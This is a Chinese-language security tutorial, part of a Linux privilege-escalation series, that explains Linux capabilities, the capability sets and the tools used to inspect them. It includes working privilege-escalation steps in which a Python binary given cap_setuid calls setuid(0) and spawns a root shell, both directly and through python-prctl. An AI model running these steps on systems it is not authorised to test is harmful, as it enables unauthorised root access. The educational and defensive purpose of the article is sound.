Linux提权系列17: 揭秘Linux 能力

admin 2023年4月17日02:08:08评论23 views字数 5000阅读16分40秒阅读模式

已经了解了 Linux 系统上的许多错误配置,这些配置允许攻击者获得特权 shell。这是因为即使一个程序应该执行特定的系统级任务,它也需要拥有 root 用户的 EUID,从而使攻击者很容易利用它来执行特权升级。让我们称之为权限的二元系统,它将启动两种类型的进程——特权 (EUID == 0) 和非特权 (EUID != 0)

为了防止这种情况,Linux 开发人员已经考虑并将所有特权任务分类为一组约 40(截至目前)的功能。因此,例如,如果想读取一个特权文件,管理员设置正在运行的进程或程序文件拥有 CAP_DAC_READ_SEARCH 特权,绕过文件读取权限检查和目录读取和执行权限检查。在这种情况下,非特权用户只能执行读取任何文件的特定任务并在受保护的目录中执行搜索,将 UID 设置为 0 然后生成 shell 等恶意使用是不可能的。

到底什么是Linux能力

答案很简单——由 root 用户分配给正在运行的程序或线程甚至程序文件的一组细粒度权限,允许进程使用特权(系统级任务),例如杀死低权限用户的进程。每个能力为流程提供一组或多组相关权限。所有这些都在 capabilities(7) 手册页中列出并得到了很好的解释。

与之前的文章中讨论过的 DAC/MAC 权限不同,如果能力在允许的集合中(如下所述),则可以在运行过程中设置或取消设置这些权限。内核只会检查一组特定的功能

如果线程以有效 UID 值 0 运行,则它将启用所有能力。

能力记录存储在哪里?

扩展权限,例如由 setfacl 设置的访问控制列表和由使用 setxattr(2)setcap 设置的能力标志, 存储的位置与传统权限和由 chmodset[ug]id 标志一样 - 在文件的 inode

有一个已经设置了一些能力的二进制文件。当对该文件执行 getfattr 时,我=发现信息存储在 security.capability 部分。用于获取额外文件属性的系统调用是

$ strace -e getxattr getfattr -d -m - cat 
getxattr("cat", "security.capability", NULL, 0) = 20
getxattr("cat", "security.capability", "12200200", 256) = 20
# file: cat
security.capability=0sAQAAAoAAAACAAAAAAAAAAAAAAAA=

能力集的类型

这些能力实际上是在进程执行期间发挥作用的。内核只会在程序尝试执行特殊系统调用时检查它们。

在所有能力列表中,每个进程有 5 组不同的功能

  • 有效: 内核用于对线程执行权限检查的功能。因此,如果执行任何特权任务并且其能力不在此集合中,它将抛出“不允许操作”错误。可以使用 EPERM 枚举进行检查。
  • 允许: 它是进程可能拥有的有效能力的超集。如果该能力在该集合中可用,则进程将其转换为有效集合并稍后将其删除。但是一旦一个进程从允许集中删除了能力,它就不能重新获得。
  • 继承:该集合是为 execve() 系统调用保留的。如果该能力设置为可继承,则在使用 execve() 系统调用执行程序时将它添加允许集
  • 边界: 它是线程允许的所有功能的超集。这意味着没有进程可以拥有来自该集合之外的能力。
  • 外围: 该集合也保留给 execve() 系统调用,但用于非特权文件。可以通过 prctl() 控制它们,这不能通过控制台程序设置

如果二进制文件可以使用 capgetcapsetprctl 等系统调用主动将允许的能力转换为有效,则它可以称为能力敏感。另一方面,一个能力无感的二进制文件没有这个特权使能力集有效,无论是被父进程继承还是在内存中加载程序时

起作用的能力

有三个控制台实用程序来管理 Linux 中的能力

  • capsh — 打印当前上下文的能力或在运行进程状态中解码十六进制能力编码 grep Cap /proc/PID/status
  • setcap — 设置或取消设置常规文件的能力
  • getcap — 从文件中或在目录中递归地获取解码后的功能集

当前运行的进程是普通用户的shell,对于普通用户进程,默认是没有能力的。可以通过执行 capsh --print 来验证它。如果能力集显示=ep,则意味着它具有边界集中的所有能力

$ capsh --print
Current: =
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner, ... trimmed
$ sudo capsh --print
Current: =ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner ... trimmed

进程和线程的所有能力都存储在 /proc 文件系统中 进程ID/线程ID 目录下的状态文件中。这些属性以“Cap”名称开头。

也可以通过从 /proc/$$/status 中获取“Cap”来执行上述操作。在这种情况下,$$ 将给出当前进程 ID,当然是 shell

$ grep Cap /proc/$$/task/$$/status
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000
$ capsh --decode=0000000000000000
0x0000000000000000=
$ sudo su -c sh
# grep Cap /proc/$$/task/$$/status
CapInh: 0000000000000000
CapPrm: 000001ffffffffff
CapEff: 000001ffffffffff
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000
# capsh --decode=000001ffffffffff
0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid, ... trimmed

在当前目录中,只有一个文件,它是一个 python 解释器,组和所有者都设置为 terabyte 用户。由于此二进制文件在有效集中设置了 cap_setuid 能力,因此可以在不将有效 uid 设置为 0 的情况下执行 setuid 操作

$ ls -l python 
-rwxr-xr-x 1 terabyte terabyte 14168 Aug 25 11:30 python
$ python -q
>>> import os
>>> os.geteuid()
1000
>>> os.setuid(0)
>>> os.system("/bin/sh")
sh-5.1# whoami 
root

或者,对于正在运行的进程,可以获得十六进制的能力编码,然后使用 capsh 对其进行解码。

$ grep /proc/$(pgrep python)/status
CapInh: 0000000000000000
CapPrm: 0000000000000080
CapEff: 0000000000000080
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000
$ capsh --decode=0000000000000080
0x0000000000000080=cap_setuid
$ capsh --decode=000001ffffffffff
0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap ... trimmed

Linux 中,线程位于 /proc/PID/tasks 下,每个任务的状态存储在它们各自的状态文件 /proc/PID/tasks/TID/status

$ ls  /proc/60928/task/
60928  60937  60943  60944  60945  ...trimmed
$ grep Cap /proc/60928/task/60937/status 
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000
$ capsh --decode=000001ffffffffff
0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner ...trimmed

没有检查 60928,因为这是主线程的任务 ID。如果进程中没有线程,内核会自动杀死进程。因此,为了避免这种情况,主进程的任务是用与进程相同的 id 创建的

ping 命令应该适用于每个用户,通过 ping 网络上的其他活动主机来检查网络连接。ping 命令的核心是使用特殊的系统权限来直接处理来自内核的原始数据包。在第一种情况下,ping 命令有 CAP_NET_RAW,因此它继续在本地主机上发送 ICMP 数据包。在成功执行的下方,将其从边界集中删除。所以它在允许或有效的集合中都不可用

$ ping -c 1 localhost 
PING localhost(localhost (::1)) 56 data bytes
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.050 ms

--- localhost ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.050/0.050/0.050/0.000 ms
$ capsh --drop=cap_net_raw --print -- -c "/bin/ping -c 1 localhost"
unable to raise CAP_SETPCAP for BSET changes: Operation not permitted

从允许集转换到有效集

对于能力敏感程序,很容易将能力从允许集移动到有效集。在进入有效集之前,该能力应该存在于允许集中,否则,将收到“Operation not permitted”的错误。在编程中,可以通过将函数的返回值与EPERM进行比较来处理

为了简单起见,将使用 python 二进制文件, 它在允许集中包含了cap_setuid能力。

$ ls -l ./python3
-rwxr-xr-x 1 ubuntu ubuntu 5490352 Aug 25 15:23 ./python3
$ getcap ./python3
./python3 = cap_setuid+p
$ ./python3 -q
>>> import os
>>> os.setuid(0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
PermissionError: [Errno 1] Operation not permitted

可以通过安装 python-prctl 模块来解决此问题。该模块包含用于调用 prctl(2) 系统调用的包装函数。在此,可以使用 cap_permittedcap_effective 集合来查看或设置权限

>>> import prctl
>>> prctl.cap_permitted.setuid
True
>>> prctl.cap_effective.setuid
False

如上,setuid能力确实在允许的范围内。修复非常简单,需要设置 prctl.cap_effective.setuid = True 它将通过在后台调用 prctl 函数来转换功能

>>> prctl.cap_effective.setuid = True
>>> os.setuid(0)
>>> os.system("PS1='$ ' /bin/sh")
$ id
uid=0(root) gid=0(root) 
$ whoami
root

原文始发于微信公众号(奶牛安全):Linux提权系列17: 揭秘Linux 能力

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月17日02:08:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux提权系列17: 揭秘Linux 能力http://cn-sec.com/archives/1667255.html

发表评论

匿名网友 填写信息